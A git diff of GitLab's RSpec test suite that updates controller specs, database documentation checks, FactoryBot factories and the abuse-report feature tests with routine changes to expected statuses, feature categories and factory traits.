@@ -607,21 +587,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
it_behaves_like 'successful request'
end
- context 'when display_merge_conflicts_in_diff is disabled' do
- before do
- stub_feature_flags(display_merge_conflicts_in_diff: false)
- end
-
- subject { go }
-
- it_behaves_like 'serializes diffs with expected arguments' do
- let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
- let(:expected_options) { collection_arguments(total_pages: 20).merge(merge_conflicts_in_diff: false) }
- end
-
- it_behaves_like 'successful request'
- end
-
it_behaves_like 'forked project with submodules'
it_behaves_like 'cached diff collection'
diff --git a/spec/controllers/projects/merge_requests_controller_spec.rb b/spec/controllers/projects/merge_requests_controller_spec.rb
index a93dc806283..095775b0ddd 100644
--- a/spec/controllers/projects/merge_requests_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Projects::MergeRequestsController, feature_category: :code_review do
+RSpec.describe Projects::MergeRequestsController, feature_category: :code_review_workflow do
include ProjectForksHelper
include Gitlab::Routing
using RSpec::Parameterized::TableSyntax
@@ -229,6 +229,16 @@ RSpec.describe Projects::MergeRequestsController, feature_category: :code_review
expect(response.headers[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("git-diff:")
end
+
+ context 'when there is no diff' do
+ it 'renders 404' do
+ merge_request.merge_request_diff.destroy!
+
+ go(format: :diff)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
end
describe "as patch" do
@@ -237,6 +247,16 @@ RSpec.describe Projects::MergeRequestsController, feature_category: :code_review
expect(response.headers[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("git-format-patch:")
end
+
+ context 'when there is no diff' do
+ it 'renders 404' do
+ merge_request.merge_request_diff.destroy!
+
+ go(format: :patch)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
end
end
@@ -2132,12 +2152,13 @@ RSpec.describe Projects::MergeRequestsController, feature_category: :code_review
create(:protected_branch, project: project, name: merge_request.source_branch, allow_force_push: false)
end
- it 'returns 404' do
+ it 'returns 403' do
expect_rebase_worker_for(user).never
post_rebase
- expect(response).to have_gitlab_http_status(:not_found)
+ expect(response).to have_gitlab_http_status(:forbidden)
+ expect(json_response['merge_error']).to eq('Source branch is protected from force push')
end
end
@@ -2153,12 +2174,13 @@ RSpec.describe Projects::MergeRequestsController, feature_category: :code_review
forked_project.add_reporter(user)
end
- it 'returns 404' do
+ it 'returns 403' do
expect_rebase_worker_for(user).never
post_rebase
- expect(response).to have_gitlab_http_status(:not_found)
+ expect(response).to have_gitlab_http_status(:forbidden)
+ expect(json_response['merge_error']).to eq('Cannot push to source branch')
end
end
diff --git a/spec/controllers/projects/pages_domains_controller_spec.rb b/spec/controllers/projects/pages_domains_controller_spec.rb
index b29bbef0c40..9cc740fcbef 100644
--- a/spec/controllers/projects/pages_domains_controller_spec.rb
+++ b/spec/controllers/projects/pages_domains_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Projects::PagesDomainsController do
+RSpec.describe Projects::PagesDomainsController, feature_category: :pages do
let(:user) { create(:user) }
let(:project) { create(:project) }
let!(:pages_domain) { create(:pages_domain, project: project) }
@@ -70,6 +70,7 @@ RSpec.describe Projects::PagesDomainsController do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: kind_of(Numeric),
domain: pages_domain_params[:domain]
)
@@ -119,6 +120,7 @@ RSpec.describe Projects::PagesDomainsController do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: pages_domain.id,
domain: pages_domain.domain
)
end
@@ -226,6 +228,7 @@ RSpec.describe Projects::PagesDomainsController do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: pages_domain.id,
domain: pages_domain.domain
)
@@ -251,6 +254,7 @@ RSpec.describe Projects::PagesDomainsController do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: pages_domain.id,
domain: pages_domain.domain
)
end
diff --git a/spec/controllers/projects/pipelines_controller_spec.rb b/spec/controllers/projects/pipelines_controller_spec.rb
index f66e4b133ca..3d1d28945f7 100644
--- a/spec/controllers/projects/pipelines_controller_spec.rb
+++ b/spec/controllers/projects/pipelines_controller_spec.rb
@@ -84,6 +84,13 @@ RSpec.describe Projects::PipelinesController do
end
context 'when performing gitaly calls', :request_store do
+ before do
+ # To prevent double writes / fallback read due to MultiStore which is failing the `Gitlab::GitalyClient
+ # .get_request_count` expectation.
+ stub_feature_flags(use_primary_store_as_default_for_repository_cache: false)
+ stub_feature_flags(use_primary_and_secondary_stores_for_repository_cache: false)
+ end
+
it 'limits the Gitaly requests' do
# Isolate from test preparation (Repository#exists? is also cached in RequestStore)
RequestStore.end!
diff --git a/spec/controllers/projects/protected_branches_controller_spec.rb b/spec/controllers/projects/protected_branches_controller_spec.rb
index 14728618633..6778d4100b8 100644
--- a/spec/controllers/projects/protected_branches_controller_spec.rb
+++ b/spec/controllers/projects/protected_branches_controller_spec.rb
@@ -33,21 +33,26 @@ RSpec.describe Projects::ProtectedBranchesController do
let(:create_params) { attributes_for(:protected_branch).merge(access_level_params) }
- it 'creates the protected branch rule' do
- expect do
- post(:create, params: project_params.merge(protected_branch: create_params))
- end.to change(ProtectedBranch, :count).by(1)
- end
+ describe "created successfully" do
+ using RSpec::Parameterized::TableSyntax
- context 'when repository is empty' do
- let(:project) { empty_project }
+ let(:protected_branch) { create(:protected_branch, project: ref_project) }
+ let(:project_params) { { namespace_id: ref_project.namespace.to_param, project_id: ref_project } }
+
+ subject { post(:create, params: project_params.merge(protected_branch: create_params), format: format) }
- it 'creates the protected branch rule' do
- expect do
- post(:create, params: project_params.merge(protected_branch: create_params))
- end.to change(ProtectedBranch, :count).by(1)
+ where(:format, :ref_project, :response_status) do
+ :html | ref(:project) | :found
+ :html | ref(:empty_project) | :found
+ :json | ref(:project) | :ok
+ :json | ref(:empty_project) | :ok
+ end
- expect(response).to have_gitlab_http_status(:found)
+ with_them do
+ it 'creates a protected branch' do
+ expect { subject }.to change(ProtectedBranch, :count).by(1)
+ expect(response).to have_gitlab_http_status(response_status)
+ end
end
end
diff --git a/spec/controllers/projects/releases/evidences_controller_spec.rb b/spec/controllers/projects/releases/evidences_controller_spec.rb
index 68433969d69..879cbc543e9 100644
--- a/spec/controllers/projects/releases/evidences_controller_spec.rb
+++ b/spec/controllers/projects/releases/evidences_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Projects::Releases::EvidencesController do
+RSpec.describe Projects::Releases::EvidencesController, :with_license do
let!(:project) { create(:project, :repository, :public) }
let_it_be(:private_project) { create(:project, :repository, :private) }
let_it_be(:developer) { create(:user) }
diff --git a/spec/controllers/registrations/welcome_controller_spec.rb b/spec/controllers/registrations/welcome_controller_spec.rb
index a3b246fbedd..b5416d226e1 100644
--- a/spec/controllers/registrations/welcome_controller_spec.rb
+++ b/spec/controllers/registrations/welcome_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Registrations::WelcomeController do
+RSpec.describe Registrations::WelcomeController, feature_category: :authentication_and_authorization do
let(:user) { create(:user) }
describe '#welcome' do
@@ -47,7 +47,7 @@ RSpec.describe Registrations::WelcomeController do
it { is_expected.to render_template(:show) }
end
- context '2FA is required from group' do
+ context 'when 2FA is required from group' do
before do
user = create(:user, require_two_factor_authentication_from_group: true)
sign_in(user)
@@ -99,7 +99,7 @@ RSpec.describe Registrations::WelcomeController do
end
context 'when tasks to be done are assigned' do
- let!(:member1) { create(:group_member, user: user, tasks_to_be_done: %w(ci code)) }
+ let!(:member1) { create(:group_member, user: user, tasks_to_be_done: %w[ci code]) }
it { is_expected.to redirect_to(issues_dashboard_path(assignee_username: user.username)) }
end
diff --git a/spec/controllers/registrations_controller_spec.rb b/spec/controllers/registrations_controller_spec.rb
index 699052fe37a..d0439a18158 100644
--- a/spec/controllers/registrations_controller_spec.rb
+++ b/spec/controllers/registrations_controller_spec.rb
@@ -137,6 +137,21 @@ RSpec.describe RegistrationsController do
end
end
+ context 'private profile' do
+ context 'when the `user_defaults_to_private_profile` setting is turned on' do
+ before do
+ stub_application_setting(user_defaults_to_private_profile: true)
+ end
+
+ it 'creates new user with profile set to private' do
+ subject
+ user = User.find_by(email: base_user_params[:email], private_profile: true)
+
+ expect(user).to be_present
+ end
+ end
+ end
+
context 'email confirmation' do
before do
stub_feature_flags(identity_verification: false)
diff --git a/spec/controllers/uploads_controller_spec.rb b/spec/controllers/uploads_controller_spec.rb
index 3e9c56d3274..8015136d1e0 100644
--- a/spec/controllers/uploads_controller_spec.rb
+++ b/spec/controllers/uploads_controller_spec.rb
@@ -658,19 +658,17 @@ RSpec.describe UploadsController do
end
context 'Appearance' do
- context 'when viewing a custom header logo' do
- let!(:appearance) { create :appearance, header_logo: fixture_file_upload('spec/fixtures/dk.png', 'image/png') }
-
+ shared_examples 'view custom logo' do |mounted_as|
context 'when not signed in' do
it 'responds with status 200' do
- get :show, params: { model: 'appearance', mounted_as: 'header_logo', id: appearance.id, filename: 'dk.png' }
+ get :show, params: { model: 'appearance', mounted_as: mounted_as, id: appearance.id, filename: 'dk.png' }
expect(response).to have_gitlab_http_status(:ok)
end
it_behaves_like 'content publicly cached' do
subject do
- get :show, params: { model: 'appearance', mounted_as: 'header_logo', id: appearance.id, filename: 'dk.png' }
+ get :show, params: { model: 'appearance', mounted_as: mounted_as, id: appearance.id, filename: 'dk.png' }
response
end
@@ -678,24 +676,22 @@ RSpec.describe UploadsController do
end
end
- context 'when viewing a custom logo' do
- let!(:appearance) { create :appearance, logo: fixture_file_upload('spec/fixtures/dk.png', 'image/png') }
+ context 'when viewing a custom pwa icon' do
+ let!(:appearance) { create :appearance, pwa_icon: fixture_file_upload('spec/fixtures/dk.png', 'image/png') }
- context 'when not signed in' do
- it 'responds with status 200' do
- get :show, params: { model: 'appearance', mounted_as: 'logo', id: appearance.id, filename: 'dk.png' }
+ it_behaves_like 'view custom logo', 'pwa_icon'
+ end
- expect(response).to have_gitlab_http_status(:ok)
- end
+ context 'when viewing a custom header logo' do
+ let!(:appearance) { create :appearance, header_logo: fixture_file_upload('spec/fixtures/dk.png', 'image/png') }
- it_behaves_like 'content publicly cached' do
- subject do
- get :show, params: { model: 'appearance', mounted_as: 'logo', id: appearance.id, filename: 'dk.png' }
+ it_behaves_like 'view custom logo', 'header_logo'
+ end
- response
- end
- end
- end
+ context 'when viewing a custom logo' do
+ let!(:appearance) { create :appearance, logo: fixture_file_upload('spec/fixtures/dk.png', 'image/png') }
+
+ it_behaves_like 'view custom logo', 'logo'
end
end
@@ -740,6 +736,46 @@ RSpec.describe UploadsController do
expect(response).to have_gitlab_http_status(:ok)
end
end
+
+ context "when viewing an achievement" do
+ let!(:achievement) { create(:achievement, avatar: fixture_file_upload("spec/fixtures/dk.png", "image/png")) }
+
+ context "when signed in" do
+ before do
+ sign_in(user)
+ end
+
+ it "responds with status 200" do
+ get :show, params: { model: "achievements/achievement", mounted_as: "avatar", id: achievement.id, filename: "dk.png" }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it_behaves_like 'content publicly cached' do
+ subject do
+ get :show, params: { model: "achievements/achievement", mounted_as: "avatar", id: achievement.id, filename: "dk.png" }
+
+ response
+ end
+ end
+ end
+
+ context "when not signed in" do
+ it "responds with status 200" do
+ get :show, params: { model: "achievements/achievement", mounted_as: "avatar", id: achievement.id, filename: "dk.png" }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it_behaves_like 'content publicly cached' do
+ subject do
+ get :show, params: { model: "achievements/achievement", mounted_as: "avatar", id: achievement.id, filename: "dk.png" }
+
+ response
+ end
+ end
+ end
+ end
end
def post_authorize(verified: true)
diff --git a/spec/db/docs_spec.rb b/spec/db/docs_spec.rb
index 6cfff725988..5960b8bebcc 100644
--- a/spec/db/docs_spec.rb
+++ b/spec/db/docs_spec.rb
@@ -2,12 +2,20 @@
require 'spec_helper'
+# This list is used to provide temporary exceptions for feature categories
+# that are transitioning and not yet in the feature_categories.yml file
+# any additions here should be accompanied by a link to an issue link
+VALID_FEATURE_CATEGORIES = [
+ 'jihu' # https://gitlab.com/gitlab-org/database-team/team-tasks/-/issues/192
+].freeze
+
RSpec.shared_examples 'validate dictionary' do |objects, directory_path, required_fields|
context 'for each object' do
let(:directory_path) { directory_path }
let(:metadata_allowed_fields) do
required_fields + %i[
+ feature_categories
classes
description
introduced_by_url
@@ -40,6 +48,10 @@ RSpec.shared_examples 'validate dictionary' do |objects, directory_path, require
metadata.select { |_, t| t.has_key?(:missing_required_fields) }.keys
end
+ let(:objects_with_invalid_feature_category) do
+ metadata.select { |_, t| t.has_key?(:invalid_feature_category) }.keys
+ end
+
it 'has a metadata file' do
expect(objects_without_metadata).to be_empty, multiline_error(
'Missing metadata files',
@@ -55,6 +67,14 @@ RSpec.shared_examples 'validate dictionary' do |objects, directory_path, require
)
end
+ it 'has a valid feature category' do
+ expect(objects_with_invalid_feature_category).to be_empty, object_metadata_errors(
+ 'Table metadata files with an invalid feature category',
+ :error,
+ objects_with_invalid_feature_category
+ )
+ end
+
it 'has a valid metadata file with allowed fields' do
expect(objects_with_disallowed_fields).to be_empty, object_metadata_errors(
'Table metadata files with disallowed fields',
@@ -82,6 +102,13 @@ RSpec.shared_examples 'validate dictionary' do |objects, directory_path, require
Rails.root.join(object_metadata_file(object_name))
end
+ def feature_categories_valid?(object_feature_categories)
+ return false unless object_feature_categories.present?
+
+ all_feature_categories = YAML.load_file(Rails.root.join('config/feature_categories.yml')) + VALID_FEATURE_CATEGORIES
+ object_feature_categories.all? { |category| all_feature_categories.include?(category) }
+ end
+
def load_object_metadata(required_fields, object_name)
result = {}
begin
@@ -94,6 +121,16 @@ RSpec.shared_examples 'validate dictionary' do |objects, directory_path, require
unless missing_required_fields.empty?
result[:missing_required_fields] = "missing required fields: #{missing_required_fields.join(', ')}"
end
+
+ if required_fields.include?(:feature_categories)
+ object_feature_categories = result.dig(:metadata, :feature_categories)
+
+ unless feature_categories_valid?(object_feature_categories)
+ result[:invalid_feature_category] =
+ "invalid feature category: #{object_feature_categories}" \
+ "Please use a category from https://about.gitlab.com/handbook/product/categories/#categories-a-z"
+ end
+ end
rescue Psych::SyntaxError => ex
result[:error] = ex.message
end
@@ -139,3 +176,19 @@ RSpec.describe 'Tables documentation', feature_category: :database do
include_examples 'validate dictionary', tables, directory_path, required_fields
end
+
+RSpec.describe 'Deleted tables documentation', feature_category: :database do
+ directory_path = File.join('db', 'docs', 'deleted_tables')
+ tables = Dir.glob(File.join(directory_path, '*.yml')).map { |f| File.basename(f, '.yml') }.sort.uniq
+ required_fields = %i[table_name gitlab_schema removed_by_url removed_in_milestone]
+
+ include_examples 'validate dictionary', tables, directory_path, required_fields
+end
+
+RSpec.describe 'Deleted views documentation', feature_category: :database do
+ directory_path = File.join('db', 'docs', 'deleted_views')
+ views = Dir.glob(File.join(directory_path, '*.yml')).map { |f| File.basename(f, '.yml') }.sort.uniq
+ required_fields = %i[view_name gitlab_schema removed_by_url removed_in_milestone]
+
+ include_examples 'validate dictionary', views, directory_path, required_fields
+end
diff --git a/spec/db/migration_spec.rb b/spec/db/migration_spec.rb
index b5f6192233f..a5449c6dccd 100644
--- a/spec/db/migration_spec.rb
+++ b/spec/db/migration_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Migrations Validation' do
+RSpec.describe 'Migrations Validation', feature_category: :database do
using RSpec::Parameterized::TableSyntax
# The range describes the timestamps that given migration helper can be used
diff --git a/spec/db/schema_spec.rb b/spec/db/schema_spec.rb
index 9e23cca7c3f..7f3cab55d5a 100644
--- a/spec/db/schema_spec.rb
+++ b/spec/db/schema_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require Rails.root.join('ee', 'spec', 'db', 'schema_support') if Gitlab.ee?
-RSpec.describe 'Database schema' do
+RSpec.describe 'Database schema', feature_category: :database do
prepend_mod_with('DB::SchemaSupport')
let(:tables) { connection.tables }
@@ -30,7 +30,7 @@ RSpec.describe 'Database schema' do
award_emoji: %w[awardable_id user_id],
aws_roles: %w[role_external_id],
boards: %w[milestone_id iteration_id],
- chat_names: %w[chat_id team_id user_id],
+ chat_names: %w[chat_id team_id user_id integration_id],
chat_teams: %w[team_id],
ci_build_needs: %w[partition_id],
ci_build_pending_states: %w[partition_id],
@@ -39,7 +39,7 @@ RSpec.describe 'Database schema' do
ci_build_trace_metadata: %w[partition_id],
ci_builds: %w[erased_by_id trigger_request_id partition_id],
ci_builds_runner_session: %w[partition_id],
- p_ci_builds_metadata: %w[partition_id],
+ p_ci_builds_metadata: %w[partition_id runner_machine_id], # NOTE: FK will be added in follow-up https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108167
ci_job_artifacts: %w[partition_id],
ci_job_variables: %w[partition_id],
ci_namespace_monthly_usages: %w[namespace_id],
@@ -166,7 +166,7 @@ RSpec.describe 'Database schema' do
context 'columns ending with _id' do
let(:column_names) { columns.map(&:name) }
let(:column_names_with_id) { column_names.select { |column_name| column_name.ends_with?('_id') } }
- let(:foreign_keys_columns) { all_foreign_keys.map(&:column).uniq } # we can have FK and loose FK present at the same time
+ let(:foreign_keys_columns) { all_foreign_keys.reject { |fk| fk.name&.end_with?("_p") }.map(&:column).uniq } # we can have FK and loose FK present at the same time
let(:ignored_columns) { ignored_fk_columns(table) }
it 'do have the foreign keys' do
@@ -184,7 +184,7 @@ RSpec.describe 'Database schema' do
# These pre-existing enums have limits > 2 bytes
IGNORED_LIMIT_ENUMS = {
- 'Analytics::CycleAnalytics::GroupStage' => %w[start_event_identifier end_event_identifier],
+ 'Analytics::CycleAnalytics::Stage' => %w[start_event_identifier end_event_identifier],
'Analytics::CycleAnalytics::ProjectStage' => %w[start_event_identifier end_event_identifier],
'Ci::Bridge' => %w[failure_reason],
'Ci::Build' => %w[failure_reason],
diff --git a/spec/factories/abuse_reports.rb b/spec/factories/abuse_reports.rb
index 4174faae1ed..4ae9b4def8e 100644
--- a/spec/factories/abuse_reports.rb
+++ b/spec/factories/abuse_reports.rb
@@ -5,5 +5,6 @@ FactoryBot.define do
reporter factory: :user
user
message { 'User sends spam' }
+ reported_from_url { 'http://gitlab.com' }
end
end
diff --git a/spec/factories/analytics/cycle_analytics/aggregations.rb b/spec/factories/analytics/cycle_analytics/aggregations.rb
index 78e82f166d0..99f0e34ede7 100644
--- a/spec/factories/analytics/cycle_analytics/aggregations.rb
+++ b/spec/factories/analytics/cycle_analytics/aggregations.rb
@@ -2,7 +2,7 @@
FactoryBot.define do
factory :cycle_analytics_aggregation, class: 'Analytics::CycleAnalytics::Aggregation' do
- group
+ namespace { association(:group) }
enabled { true }
diff --git a/spec/factories/appearances.rb b/spec/factories/appearances.rb
index 8101cd8d8bf..321c31d7565 100644
--- a/spec/factories/appearances.rb
+++ b/spec/factories/appearances.rb
@@ -18,6 +18,10 @@ FactoryBot.define do
header_logo { fixture_file_upload('spec/fixtures/dk.png') }
end
+ trait :with_pwa_icon do
+ pwa_icon { fixture_file_upload('spec/fixtures/dk.png') }
+ end
+
trait :with_favicon do
favicon { fixture_file_upload('spec/fixtures/dk.png') }
end
diff --git a/spec/factories/bulk_import/entities.rb b/spec/factories/bulk_import/entities.rb
index eeb4f8325ae..66d212daaae 100644
--- a/spec/factories/bulk_import/entities.rb
+++ b/spec/factories/bulk_import/entities.rb
@@ -10,6 +10,7 @@ FactoryBot.define do
sequence(:destination_namespace) { |n| "destination-path-#{n}" }
destination_name { 'Imported Entity' }
sequence(:source_xid)
+ migrate_projects { true }
trait(:group_entity) do
source_type { :group_entity }
diff --git a/spec/factories/ci/builds.rb b/spec/factories/ci/builds.rb
index 15a88955e05..78398fd7f20 100644
--- a/spec/factories/ci/builds.rb
+++ b/spec/factories/ci/builds.rb
@@ -421,9 +421,17 @@ FactoryBot.define do
end
trait :artifacts do
- after(:create) do |build|
- create(:ci_job_artifact, :archive, job: build, expire_at: build.artifacts_expire_at)
- create(:ci_job_artifact, :metadata, job: build, expire_at: build.artifacts_expire_at)
+ after(:create) do |build, evaluator|
+ create(:ci_job_artifact, :archive, :public, job: build, expire_at: build.artifacts_expire_at)
+ create(:ci_job_artifact, :metadata, :public, job: build, expire_at: build.artifacts_expire_at)
+ build.reload
+ end
+ end
+
+ trait :private_artifacts do
+ after(:create) do |build, evaluator|
+ create(:ci_job_artifact, :archive, :private, job: build, expire_at: build.artifacts_expire_at)
+ create(:ci_job_artifact, :metadata, :private, job: build, expire_at: build.artifacts_expire_at)
build.reload
end
end
diff --git a/spec/factories/ci/job_artifacts.rb b/spec/factories/ci/job_artifacts.rb
index 7569e832c60..5e049e0375b 100644
--- a/spec/factories/ci/job_artifacts.rb
+++ b/spec/factories/ci/job_artifacts.rb
@@ -174,6 +174,14 @@ FactoryBot.define do
end
end
+ trait :private do
+ accessibility { 'private' }
+ end
+
+ trait :public do
+ accessibility { 'public' }
+ end
+
trait :accessibility do
file_type { :accessibility }
file_format { :raw }
diff --git a/spec/factories/ci/runner_machines.rb b/spec/factories/ci/runner_machines.rb
new file mode 100644
index 00000000000..09bf5d0844e
--- /dev/null
+++ b/spec/factories/ci/runner_machines.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_runner_machine, class: 'Ci::RunnerMachine' do
+ runner factory: :ci_runner
+ machine_xid { "r_#{SecureRandom.hex.slice(0, 10)}" }
+ end
+end
diff --git a/spec/factories/design_management/designs.rb b/spec/factories/design_management/designs.rb
index 3d95c754a96..d16fd0c297b 100644
--- a/spec/factories/design_management/designs.rb
+++ b/spec/factories/design_management/designs.rb
@@ -100,8 +100,9 @@ FactoryBot.define do
trait :with_file do
transient do
deleted { false }
- versions_count { 1 }
file { File.join(Rails.root, 'spec/fixtures/dk.png') }
+ versions_count { 1 }
+ versions_sha { nil }
end
after :create do |design, evaluator|
@@ -109,6 +110,8 @@ FactoryBot.define do
repository = project.design_repository
commit_version = ->(action) do
+ return evaluator.versions_sha if evaluator.versions_sha
+
repository.commit_files(
evaluator.author,
branch_name: 'master',
diff --git a/spec/factories/groups.rb b/spec/factories/groups.rb
index f4d47b9ff8c..5b4839df2d3 100644
--- a/spec/factories/groups.rb
+++ b/spec/factories/groups.rb
@@ -74,7 +74,7 @@ FactoryBot.define do
allow_descendants_override_disabled_shared_runners { false }
end
- trait :disabled_with_override do
+ trait :disabled_and_overridable do
shared_runners_disabled
allow_descendants_override_disabled_shared_runners
end
diff --git a/spec/factories/integrations.rb b/spec/factories/integrations.rb
index ebbf1b560e5..7740b2da911 100644
--- a/spec/factories/integrations.rb
+++ b/spec/factories/integrations.rb
@@ -254,6 +254,16 @@ FactoryBot.define do
password { 'harborpassword' }
end
+ factory :apple_app_store_integration, class: 'Integrations::AppleAppStore' do
+ project
+ active { true }
+ type { 'Integrations::AppleAppStore' }
+
+ app_store_issuer_id { 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee' }
+ app_store_key_id { 'ABC1' }
+ app_store_private_key { File.read('spec/fixtures/ssl_key.pem') }
+ end
+
# this is for testing storing values inside properties, which is deprecated and will be removed in
# https://gitlab.com/gitlab-org/gitlab/issues/29404
trait :without_properties_callback do
diff --git a/spec/factories/ml/candidates.rb b/spec/factories/ml/candidates.rb
index 2daed36d777..1b41e39d711 100644
--- a/spec/factories/ml/candidates.rb
+++ b/spec/factories/ml/candidates.rb
@@ -16,5 +16,14 @@ FactoryBot.define do
candidate.metadata = FactoryBot.create_list(:ml_candidate_metadata, 2, candidate: candidate )
end
end
+
+ trait :with_artifact do
+ after(:create) do |candidate|
+ FactoryBot.create(:generic_package,
+ name: candidate.package_name,
+ version: candidate.package_version,
+ project: candidate.project)
+ end
+ end
end
end
diff --git a/spec/factories/personal_access_tokens.rb b/spec/factories/personal_access_tokens.rb
index 9625fdc195d..a140011941f 100644
--- a/spec/factories/personal_access_tokens.rb
+++ b/spec/factories/personal_access_tokens.rb
@@ -27,6 +27,12 @@ FactoryBot.define do
token_digest { nil }
end
+ trait :admin_mode do
+ before(:create) do |personal_access_token|
+ personal_access_token.scopes.append(Gitlab::Auth::ADMIN_MODE_SCOPE) if personal_access_token.user.admin?
+ end
+ end
+
trait :no_prefix do
after(:build) { |personal_access_token| personal_access_token.set_token(Devise.friendly_token) }
end
diff --git a/spec/factories/projects/build_artifacts_size_refreshes.rb b/spec/factories/projects/build_artifacts_size_refreshes.rb
index b05f5dfab1c..b00cecfa705 100644
--- a/spec/factories/projects/build_artifacts_size_refreshes.rb
+++ b/spec/factories/projects/build_artifacts_size_refreshes.rb
@@ -18,6 +18,10 @@ FactoryBot.define do
refresh_started_at { Time.zone.now }
end
+ trait :finalizing do
+ state { Projects::BuildArtifactsSizeRefresh::STATES[:finalizing] }
+ end
+
trait :stale do
running
refresh_started_at { 30.days.ago }
diff --git a/spec/factories/wiki_pages.rb b/spec/factories/wiki_pages.rb
index 6f912a183e8..9b4c8a4fced 100644
--- a/spec/factories/wiki_pages.rb
+++ b/spec/factories/wiki_pages.rb
@@ -28,7 +28,7 @@ FactoryBot.define do
# Clear our default @page, except when using build_stubbed
after(:build) do |page|
- page.instance_variable_set('@page', nil)
+ page.instance_variable_set(:@page, nil)
end
to_create do |page, evaluator|
diff --git a/spec/features/abuse_report_spec.rb b/spec/features/abuse_report_spec.rb
index fdd11b59938..e0a61656a88 100644
--- a/spec/features/abuse_report_spec.rb
+++ b/spec/features/abuse_report_spec.rb
@@ -2,25 +2,155 @@
require 'spec_helper'
-RSpec.describe 'Abuse reports', feature_category: :not_owned do
- let(:another_user) { create(:user) }
+RSpec.describe 'Abuse reports', :js, feature_category: :insider_threat do
+ let_it_be(:abusive_user) { create(:user) }
+
+ let_it_be(:reporter1) { create(:user) }
+
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:issue) { create(:issue, project: project, author: abusive_user) }
before do
- sign_in(create(:user))
+ sign_in(reporter1)
end
- it 'report abuse' do
- visit user_path(another_user)
+ describe 'report abuse to administrator' do
+ shared_examples 'reports the user with an abuse category' do
+ it do
+ fill_and_submit_abuse_category_form
+ fill_and_submit_report_abuse_form
- click_link 'Report abuse'
+ expect(page).to have_content 'Thank you for your report'
+ end
+ end
- fill_in 'abuse_report_message', with: 'This user sends spam'
- click_button 'Send report'
+ shared_examples 'reports the user without an abuse category' do
+ it do
+ click_link 'Report abuse to administrator'
+
+ fill_and_submit_report_abuse_form
+
+ expect(page).to have_content 'Thank you for your report'
+ end
+ end
+
+ context 'when reporting an issue for abuse' do
+ before do
+ visit project_issue_path(project, issue)
+
+ click_button 'Issue actions'
+ end
+
+ it_behaves_like 'reports the user with an abuse category'
+
+ it 'redirects backs to the issue when cancel button is clicked' do
+ fill_and_submit_abuse_category_form
+
+ click_link 'Cancel'
+
+ expect(page).to have_current_path(project_issue_path(project, issue))
+ end
+ end
+
+ context 'when reporting an incident for abuse' do
+ let_it_be(:incident) { create(:incident, project: project, author: abusive_user) }
+
+ before do
+ visit project_issues_incident_path(project, incident)
+ click_button 'Incident actions'
+ end
+
+ it_behaves_like 'reports the user with an abuse category'
+ end
+
+ context 'when reporting a user profile for abuse' do
+ let_it_be(:reporter2) { create(:user) }
+
+ before do
+ visit user_path(abusive_user)
+ end
+
+ it_behaves_like 'reports the user with an abuse category'
+
+ it 'allows the reporter to report the same user for different abuse categories' do
+ visit user_path(abusive_user)
+
+ fill_and_submit_abuse_category_form
+ fill_and_submit_report_abuse_form
+
+ expect(page).to have_content 'Thank you for your report'
+
+ visit user_path(abusive_user)
- expect(page).to have_content 'Thank you for your report'
+ fill_and_submit_abuse_category_form("They're being offsensive or abusive.")
+ fill_and_submit_report_abuse_form
- visit user_path(another_user)
+ expect(page).to have_content 'Thank you for your report'
+ end
- expect(page).to have_button("Already reported for abuse")
+ it 'allows multiple users to report the same user' do
+ fill_and_submit_abuse_category_form
+ fill_and_submit_report_abuse_form
+
+ expect(page).to have_content 'Thank you for your report'
+
+ gitlab_sign_out
+ gitlab_sign_in(reporter2)
+
+ visit user_path(abusive_user)
+
+ fill_and_submit_abuse_category_form
+ fill_and_submit_report_abuse_form
+
+ expect(page).to have_content 'Thank you for your report'
+ end
+
+ it 'redirects backs to user profile when cancel button is clicked' do
+ fill_and_submit_abuse_category_form
+
+ click_link 'Cancel'
+
+ expect(page).to have_current_path(user_path(abusive_user))
+ end
+ end
+
+ context 'when reporting an merge request for abuse' do
+ let_it_be(:merge_request) { create(:merge_request, source_project: project, author: abusive_user) }
+
+ before do
+ visit project_merge_request_path(project, merge_request)
+ find('[data-testid="merge-request-actions"]').click
+ end
+
+ it_behaves_like 'reports the user with an abuse category'
+ end
+
+ context 'when reporting a comment' do
+ let_it_be(:issue) { create(:issue, project: project, author: abusive_user) }
+ let_it_be(:comment) do
+ create(:discussion_note_on_issue, author: abusive_user, project: project, noteable: issue, note: 'some note')
+ end
+
+ before do
+ visit project_issue_path(project, issue)
+ click_button 'More actions'
+ end
+
+ it_behaves_like 'reports the user without an abuse category'
+ end
+ end
+
+ private
+
+ def fill_and_submit_abuse_category_form(category = "They're posting spam.")
+ click_button 'Report abuse to administrator'
+
+ choose category
+ click_button 'Next'
+ end
+
+ def fill_and_submit_report_abuse_form
+ fill_in 'abuse_report_message', with: 'This user sends spam'
+ click_button 'Send report'
end
end
diff --git a/spec/features/admin/admin_broadcast_messages_spec.rb b/spec/features/admin/admin_broadcast_messages_spec.rb
deleted file mode 100644
index a6bbdd70fc3..00000000000
